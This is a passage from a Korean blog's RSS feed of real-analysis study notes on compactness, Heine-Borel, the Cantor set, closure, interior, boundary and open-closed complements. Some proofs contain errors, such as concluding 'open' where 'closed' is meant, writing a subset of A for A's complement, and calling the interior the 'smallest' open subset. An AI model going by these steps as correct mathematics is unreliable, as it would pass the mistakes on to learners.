&lt;li&gt;증명2) NIP 마냥 증명해보자!&lt;br /&gt;집합 $K_1$이 non-empty, bounded라고 하자.&lt;br /&gt;AoC에 의해, $Sup(K_1), \ inf(K_1)$이 항상 존재한다.&lt;br /&gt;이떄, $K_2 \subseteq K_1$인 $K_2$를 잡고,&lt;br /&gt;이것 또한 $\forall k_2 \in K_2, \ |k_2| &amp;lt; Sup(K_1)$이므로, bounded&lt;br /&gt;-&amp;gt; AoC에 의해, $\exists Sup(K_2), \ inf(K_2)$&lt;br /&gt;&lt;br /&gt;이와 같은 과정을 반복하면...&lt;br /&gt;$\inf(K_1) \le \inf(K_2) \le \inf(K_3) \le ... \le Sup(K_1)$의 수열이 만들어진다.&lt;br /&gt;-&amp;gt; bounded + monotone이므로,&lt;br /&gt;by MCT, 해당 inf 수열은 항상 수렴한다.&lt;br /&gt;&amp;nbsp; &amp;nbsp; $\lim\limits_{n \to \infty}\inf(K_n) = L$ &lt;br /&gt;&lt;br /&gt;이때, $K_n$은 compact이므로, closed따라서, $L \in K_n$&lt;br /&gt;&amp;nbsp; &amp;nbsp; 즉, 집합 안의 모든 수열에 대해, $&lt;span&gt;\forall$ &lt;/span&gt;limit point $&lt;span&gt;\in K_n$&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; 따라서,$&lt;span&gt;L \in K_n$&lt;/span&gt;&lt;br /&gt;-&amp;gt; $\bigcap\limits^{\infty}{K_n} \neq \emptyset$&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;칸토어 집합 (cantor set)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$C = \bigcap\limits^{\infty}{C_n}$&lt;br /&gt;&amp;nbsp; &amp;nbsp; $C_0 = [0,1]$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $C_1 = [0,\frac{1}{3}]\cup[\frac{2}{3}, 1]$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $C_2 = [0,\frac{1}{9}]\cup[\frac{2}{9}, \frac{1}{3}]\cup[\frac{2}{3},\frac{7}{9}]\cup[\frac{8}{9}, 1]$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; ...&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;cantor 집합은 compact이다
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;closed?&lt;br /&gt;$C_0$는 닫힌 집합이고,&lt;br /&gt;임의의 자연수 N에 대해서도 $C_N$은 닫힌 집합이다&lt;br /&gt;교집합은 closed에 영향 없으므로,&lt;br /&gt;-&amp;gt; C는 closed&lt;br /&gt;참고) 여집합이 열림으로 증명할 수도 있음!&lt;br /&gt;&amp;nbsp; &amp;nbsp; 오히려 이게 열린 집합의 합집합으로 정의되니까 &lt;br /&gt;&amp;nbsp; &amp;nbsp; 더 자연스러울수도?&lt;/li&gt;
&lt;li&gt;bounded?&lt;br /&gt;$\forall c \in C, \ |c| \le 1$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; by heine-borel theorem,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; closed + bounded -&amp;gt; compact&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;uncountable이다&lt;br /&gt;$\mathbb{R}$과 일대일대응 함수가 있음&lt;br /&gt;3진법 체계에서 0, 2만 사용하는 수열&lt;br /&gt;$\Rightarrow$ 이진 수열로 나타내기&lt;br /&gt;-&amp;gt; uncountable&lt;/li&gt;
&lt;li&gt;measure zero&lt;br /&gt;점차 빼다보면 길이가 0이 됨&lt;br /&gt;제거된 길이 = $\sum\limits^{\infty}_{n=0}{\frac{2^n}{3^{n+1}}} = 1$&lt;/li&gt;
&lt;li&gt;no open intervals&lt;br /&gt;-&amp;gt; disconnected&lt;/li&gt;
&lt;/ol&gt;</description>
      <category>해석학</category>
      <category>해석학</category>
      <author>황올뱀</author>
      <guid isPermaLink="true">https://verybigsilver.tistory.com/285</guid>
      <comments>https://verybigsilver.tistory.com/285#entry285comment</comments>
      <pubDate>Mon, 25 May 2026 17:29:50 +0900</pubDate>
    </item>
    <item>
      <title>[해석학](19)[compact &amp;amp; heine-borel]</title>
      <link>https://verybigsilver.tistory.com/284</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;BW의 역&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수렴하는 부분수열이 존재 =&amp;gt; bounded&lt;br /&gt;&amp;nbsp; &amp;nbsp; 원본 BW) 수열이 bounded =&amp;gt; 부분수열이 수렴하는 부분수열이 존재&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;a href=&quot;https://verybigsilver.tistory.com/271&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;해석학 11&lt;/a&gt; 참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BW의 역 또한 실수 공간에서 참이다&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명 (귀류법 사용!)&lt;br /&gt;어떤 수열 $a_n$에 대해,&lt;br /&gt;모든 부분수열이 수렴하는 부분수열을 가진다 가정하자&lt;br /&gt;이때, $a_n$이 bounded가 아니라고 가정하자.&lt;br /&gt;&lt;br /&gt;새로운 $a_n$의 부분수열 $x_n$을 다음과 같이 잡자&lt;br /&gt;&amp;nbsp; &amp;nbsp; 유계가 아니므로 다음과 같이 항을 골라낼 수 있다.&lt;br /&gt;&amp;nbsp; &amp;nbsp; |$x_n$| &amp;gt; n &lt;br /&gt;이때, $x_n$또한 수렴하는 부분수열을 가져야 하나,&lt;br /&gt;애초에 $x_n$을 잡핬을 때, |$x_n$| &amp;gt; |$x_{n-1}$| 이렇게 잡음&lt;br /&gt;따라서, $\lim{x_n} \to \infty$ 이므로 모순&lt;br /&gt;-&amp;gt; 따라서, 수렴하는 부분수열은 bounded&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;compact&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$K \subseteq \mathbb{R}$에 대해,&lt;br /&gt;$\forall a_n \subseteq K, \ \exists(a_{n_k}) \subseteq a_n$ &amp;amp; $(a_{n_k}) \to k \in K$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 즉, K의 모든 수열에 대해, 그 수열의 부분수열이 K 안의 원소로 수렴하면&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; K는 compact라 한다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;heien-borel 정리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;compact = closed + bounded&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명) compact =&amp;gt; closed&lt;br /&gt;집합 K가 compact라고 하자.&lt;br /&gt;$x \in L(K)$라고 한다면, 동치조건에 의해,&lt;br /&gt;&amp;nbsp; &amp;nbsp; $\Rightarrow \exists a_n \in K, \ a_n \neq x, \ a_n \to x$&lt;br /&gt;K가 compact이므로,&lt;br /&gt;&amp;nbsp; &amp;nbsp; K의 부분수열 $&lt;span&gt;a_n$&lt;/span&gt;은 $&lt;span&gt;a_{n_k} \to L \in K$&lt;/span&gt;인 부분수열을 가진다.&lt;br /&gt;부분수열의 극한 = 원래 수열의 극한&lt;br /&gt;$\Rightarrow a_n \to x = L \in K$&lt;br /&gt;즉, $x \in K$&lt;br /&gt;-&amp;gt; 따라서 $x \in L(K) \Rightarrow x \in K$이므로, closed&lt;/li&gt;
&lt;li&gt;증명) compact =&amp;gt; bounded&lt;br /&gt;귀류법을 사용해보자...&lt;br /&gt;집합 K가 compact라고 하고, K가 bounded가 아니라 가정하자.&lt;br /&gt;$\Rightarrow \forall n \in \mathbb{N}, \ \exists a_n \in K, \ |a_n|&amp;gt;n$ ($a_n$이 발산)&lt;br /&gt;but, K is compact&lt;br /&gt;&amp;nbsp; &amp;nbsp; 따라서 $\forall a_n$에 대해, $a_{n_k} \to L \in K$인 부분수열이 존재해야 함 &lt;br /&gt;&amp;nbsp; &amp;nbsp; 그러나 부분수열이 수렴 $\Rightarrow$ bounded &lt;br /&gt;-&amp;gt; 모순&lt;br /&gt;따라서, K는 bounded이다.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;증명) compact &amp;lt;= closed + bounded&lt;br /&gt;집합 K가 closed &amp;amp; bounded라고 하자.&lt;br /&gt;$(a_n) \subseteq K$인 임의의 수열 $a_n$를 잡을 수 있다.&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; 이떄, K가 bounded이므로, $a_n$도 bounded&lt;/span&gt; &lt;br /&gt;BW에 의해, $\exists (a_{n_k}) \subseteq (a_n), \ a_{n_k} \to L$&lt;br /&gt;만약 $L \not\in K$라면,&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; $L \in K^C$이며, $K^C$는 open set이다. &lt;br /&gt;&amp;nbsp; &amp;nbsp; $\Rightarrow \exists \epsilon &amp;gt; 0, \ V_{\epsilon}(L) \subseteq K^C$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; 그러나, 극한의 정의에 의해, &lt;br /&gt;&amp;nbsp; &amp;nbsp; $\forall \epsilon &amp;gt; 0, \ \exists n \ge N, \ |a_N - L| &amp;lt; \epsilon$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; 따라서, $n_k &amp;gt; N$으로 잡으면, $a_N \in V_{\epsilon}(L) \subseteq K^C$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; -&amp;gt; 그러나, $a_n$은 K의 원소로만 잡았으므로, 모순&lt;/span&gt; &lt;br /&gt;-&amp;gt; 따라서, $L \in K$여야 한다.&lt;br /&gt;따라서 K는 compact이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;compact의 성질&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;K가 compact일때,&lt;br /&gt;$F \subseteq K$가 closed 라면 F는 compact&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명&lt;br /&gt;이미 K에사 bounded는 유전받음&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;$\forall k \in K, \ |k| &amp;lt; M$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;$\Rightarrow \forall f \in F \subseteq K, \ |f| &amp;lt; M$&lt;br /&gt;가정에 의해 F가 closed&lt;br /&gt;by heine-borel,&lt;br /&gt;closed + bounded이므로, F는 compact&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;compact의 유한번 합집합은 compact&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명&lt;br /&gt;bounded의 유한번 union 또한 bounded&lt;br /&gt;&amp;nbsp; &amp;nbsp; bounded인 $A_1,\ A_2,\ ... , \ A_n$에 대해, &lt;br /&gt;&amp;nbsp; &amp;nbsp; $\forall a_1 \in A_1, \ |a_1| &amp;lt; M_1$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; $\forall a_2 \in A_2, \ |a_2| &amp;lt; M_2$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; .... &lt;br /&gt;&amp;nbsp; &amp;nbsp; $\forall s \in \bigcup{A_i}, \ |k| &amp;lt; \max(M_1, \ M_2, \ ..., \ M_n)$&lt;br /&gt;또한 &lt;a href=&quot;https://verybigsilver.tistory.com/281&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;해석학 16&lt;/a&gt;에서 봤듯,&lt;br /&gt;유한번의 union은 closed에 영향 안 미침&lt;br /&gt;-&amp;gt; close + bounded =&amp;gt; compact&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;compact $\cap$ closed = compact&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명&lt;br /&gt;compact set = K, closed set = F라 할 때,&lt;br /&gt;closed?&lt;br /&gt;&amp;nbsp; &amp;nbsp; compact =&amp;gt; closed &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;amp; closed의 교집합은 closed에 영향 X &lt;br /&gt;&amp;nbsp; &amp;nbsp; -&amp;gt; closed&lt;br /&gt;bounded?&lt;br /&gt;&amp;nbsp; &amp;nbsp; K $\cap$ F $\subseteq K$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $\forall k \in K\cap F \Rightarrow k \in K$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; K는 compact =&amp;gt; bounded &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $\forall k \in K, \ |k| \le \exists M$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; 따라서, $\forall k \in K\cap F, \ |k| \le M$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; -&amp;gt; bounded&lt;br /&gt;-&amp;gt; closed + bounded =&amp;gt; compact&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>해석학</category>
      <category>해석학</category>
      <author>황올뱀</author>
      <guid isPermaLink="true">https://verybigsilver.tistory.com/284</guid>
      <comments>https://verybigsilver.tistory.com/284#entry284comment</comments>
      <pubDate>Fri, 22 May 2026 17:28:58 +0900</pubDate>
    </item>
    <item>
      <title>[해석학](18)[closure-interior-boundary]</title>
      <link>https://verybigsilver.tistory.com/283</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;closure (폐포)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A 그 자체와 limit point를 포함하는 집합&lt;br /&gt;&amp;nbsp; &amp;nbsp; $\bar{A} = A \bigcup L(A)$&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;$\bar{A}$는 closed이다.&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명)&lt;br /&gt;x가 $\bar{A}$의 limit point라고 하자.&lt;br /&gt;따라서, $\forall \epsilon &amp;gt;0,$&lt;br /&gt;$\exists y \in \bar{A}, \ |y-x|&amp;lt;\frac{\epsilon}{2}$&lt;br /&gt;&lt;br /&gt;또한 $y \in \bar{A} = A\bigcup L(A)$&lt;br /&gt;$\Rightarrow \exists a \in A, \ |a-y| &amp;lt; \frac{\epsilon}{2}$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; $y \in A$면 a = y로 잡고 &lt;br /&gt;&amp;nbsp; &amp;nbsp; $y \in L(A)$면 A의 limit point니까 a가 존재&lt;br /&gt;&lt;br /&gt;따라서, $|a-x| \le |a-y|+|y-x| &amp;lt; \frac{\epsilon}{2} + \frac{\epsilon}{2} = \epsilon$&lt;br /&gt;즉, $x \in L(A) \subseteq \bar{A}$&lt;br /&gt;-&amp;gt; 모든 limit point가 자기 자신에게 포함되므로, $\bar{A}$는 closed&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; start=&quot;2&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;$\bar{A}$는 A를 포함하는 집합 중 가장 작은 닫힌 집합이다.&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명) A를 포함하는 닫힌 집합이 $\bar{A}$가 포함되는지 보면 됨&lt;br /&gt;임의의 집합 F가 A를 포함하는 닫힌 집합이라 가정히자.&lt;br /&gt;&amp;nbsp; &amp;nbsp; $A \subseteq F$&lt;br /&gt;&lt;br /&gt;A의 임의의 limit point x에 대해,&lt;br /&gt;$x \in L(A) \iff (V_{\epsilon}\setminus {x} \bigcap A) \neq \emptyset$&lt;br /&gt;$\Rightarrow V_{\epsilon}\setminus {x} \bigcap F) \neq \emptyset$&lt;br /&gt;따라서, $x \in L(F)$&lt;br /&gt;즉, $L(A) \subseteq L(F)$이며, F는 닫힌 집합이므로,&lt;br /&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; $L(A) \subseteq L(F) \subseteq F$&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;따라서, $\bar{A} = A\bigcup L(A) \subseteq F$&lt;br /&gt;즉, 임의의 A를 포함하는 닫힌 집합은 $\bar{A}$를 포함한다&lt;br /&gt;-&amp;gt; $\bar{A}$는 A를 포함하는 가장 작은 닫힌 집합이다&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; start=&quot;3&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;$x \in \bar{A} \iff \exists (a_n)\in A \text{ and } a_n \to x$&lt;br /&gt;즉, A 안에 어떤 수열이 존재해 폐포의 원소로 수렴한다&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예)&lt;br /&gt;&amp;nbsp; &amp;nbsp; (0,1) 의 closure = [0, 1]&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\mathbb{Q}$의 closure = $\mathbb{R}$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; {$\frac{1}{n}$ | $n \in \mathbb{N}$}의 closure = {$\frac{1}{n}$ | $n \in \mathbb{N}$}$\bigcup${0}&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\mathbb{Z}$의 closure = $\mathbb{Z}$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\mathbb{R}\setminus\mathbb{Q}$의 closure = $\mathbb{R}$&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Interior (내부)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;closure의 open set 버전&lt;br /&gt;근방이 A 안에 들어가는 A의 원소의 집합&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $A^\circ = {x \in A \ | \ \exists \epsilon &amp;gt; 0 , \ V_{\epsilon}(x)\subseteq A}$&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;$A^{\circ}$는 open set이다&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명)&lt;br /&gt;$A^{\circ}$의 정의에 의해 open set임은 자명함&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; start=&quot;2&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;$A^{\circ}$는 A에 포함되는 가장 큰 open set이다&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명) 모든 open set을 $A^{\circ}$가 포함하는지 보면 됨&lt;br /&gt;임의의 집합 $F \subseteq \mathbb{R}$가 A에 포함되는 open set이라 가정하자.&lt;br /&gt;&amp;nbsp; &amp;nbsp; $F \subseteq A$&lt;br /&gt;F가 opened $\Leftrightarrow$ $\forall x \in F, \ \exists \epsilon &amp;gt; 0, \ V_{\epsilon}(x) \subseteq F$&lt;br /&gt;$\Rightarrow V_{\epsilon}(x) \subseteq F \subseteq A$&lt;br /&gt;따라서, interior의 정의에 의해&lt;br /&gt;$F \subseteq A^{\circ}$&lt;br /&gt;-&amp;gt; $A^{\circ}$는 A에 포함되는 열린 집합 중 가장 작은 집합&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;boundary (경계)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근방이 A나 $A^C$에 둘 다 속하는 점의 집합&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\partial A = \bar{A}\backslash A^{\circ}$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\Leftrightarrow {x \ | \ \forall \epsilon &amp;gt; 0, \ V_{\epsilon}(x)\cap A \neq \emptyset, \ V_{\epsilon}(x)\cap A^{C} \neq \emptyset}$&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예)&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;집합&lt;/th&gt;
&lt;th&gt;limit point&lt;/th&gt;
&lt;th&gt;open/closed/?&lt;/th&gt;
&lt;th&gt;$\bar{A}$&lt;/th&gt;
&lt;th&gt;$A^{\circ}$&lt;/th&gt;
&lt;th&gt;$\partial A$&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;(0, 1)&lt;/td&gt;
&lt;td&gt;[0, 1]&lt;/td&gt;
&lt;td&gt;open&lt;/td&gt;
&lt;td&gt;[0, 1]&lt;/td&gt;
&lt;td&gt;(0, 1)&lt;/td&gt;
&lt;td&gt;{0, 1}&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[0, 1]&lt;/td&gt;
&lt;td&gt;[0, 1]&lt;/td&gt;
&lt;td&gt;closed&lt;/td&gt;
&lt;td&gt;[0, 1]&lt;/td&gt;
&lt;td&gt;(0, 1)&lt;/td&gt;
&lt;td&gt;{0, 1}&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$\mathbb{Q}$&lt;/td&gt;
&lt;td&gt;$\mathbb{R}$&lt;/td&gt;
&lt;td&gt;?&lt;/td&gt;
&lt;td&gt;$\mathbb{R}$&lt;/td&gt;
&lt;td&gt;$\emptyset$&lt;/td&gt;
&lt;td&gt;$\mathbb{R}$&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고)&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; open set은 interior로만 이루어진 집합&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; closed set은 boundary를 포함하는 집합&lt;/p&gt;</description>
      <category>해석학</category>
      <category>해석학</category>
      <author>황올뱀</author>
      <guid isPermaLink="true">https://verybigsilver.tistory.com/283</guid>
      <comments>https://verybigsilver.tistory.com/283#entry283comment</comments>
      <pubDate>Thu, 21 May 2026 17:27:53 +0900</pubDate>
    </item>
    <item>
      <title>[해석학](17)[open-closed complement &amp;amp; dense]</title>
      <link>https://verybigsilver.tistory.com/282</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;open-closed complement&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떤 집합 $A \in \mathbb{R}$에 대해,&lt;br /&gt;A가 open set $\Rightarrow$ $A^C$는 closed set&lt;br /&gt;A가 closed set $\Rightarrow$ $A^C$는 open set&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명) open -&amp;gt; 여집합 closed&lt;br /&gt;A가 open set 이라고 하자&lt;br /&gt;$x \in A^C \Leftrightarrow x \not\in A$&lt;br /&gt;x를 $A^C$의 limit point라 할 때,&lt;br /&gt;$x \not\in A^C$라 가정하자&lt;br /&gt;&amp;nbsp; &amp;nbsp; $\Leftrightarrow x \in A$&lt;br /&gt;A는 open set이므로,&lt;br /&gt;&amp;nbsp; &amp;nbsp; $\Leftrightarrow \exists \epsilon &amp;gt; 0, \ V_{\epsilon}(x) \subseteq A$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; $\Rightarrow V_{\epsilon}(x)\bigcap A^C = \emptyset$&lt;br /&gt;그러나, x가 limit point이므로 공집합이면 안됨 -&amp;gt; 모순&lt;br /&gt;따라서 $x \in A^C$&lt;br /&gt;&amp;nbsp; &amp;nbsp; 즉, 모든 limit point가 $A^C$안에 들어감&lt;br /&gt;따라서, $A^C$는 open set&lt;/li&gt;
&lt;li&gt;증명) closed -&amp;gt; 여집합 open&lt;br /&gt;A가 closed set 이라고 하자&lt;br /&gt;$x \in A^C \Leftrightarrow x \not\in A$&lt;br /&gt;x를 A의 limit point라 가정하자.&lt;br /&gt;A는 closed set이다&lt;br /&gt;&amp;nbsp; &amp;nbsp; $\Leftrightarrow \forall \text{limit point} \in A$&lt;br /&gt;그러나, $x \not\in A$이므로 -&amp;gt; 모순&lt;br /&gt;따라서 x는 limit point가 될 수 없다.&lt;br /&gt;$\Rightarrow \exists\epsilon &amp;gt; 0, \ V_{\epsilon}\bigcap A = \emptyset$&lt;br /&gt;&amp;nbsp; &amp;nbsp; $\Rightarrow V_{\epsilon} \subseteq A$&lt;br /&gt;따라서, $A^C$는 open set&lt;/li&gt;
&lt;/ul&gt;
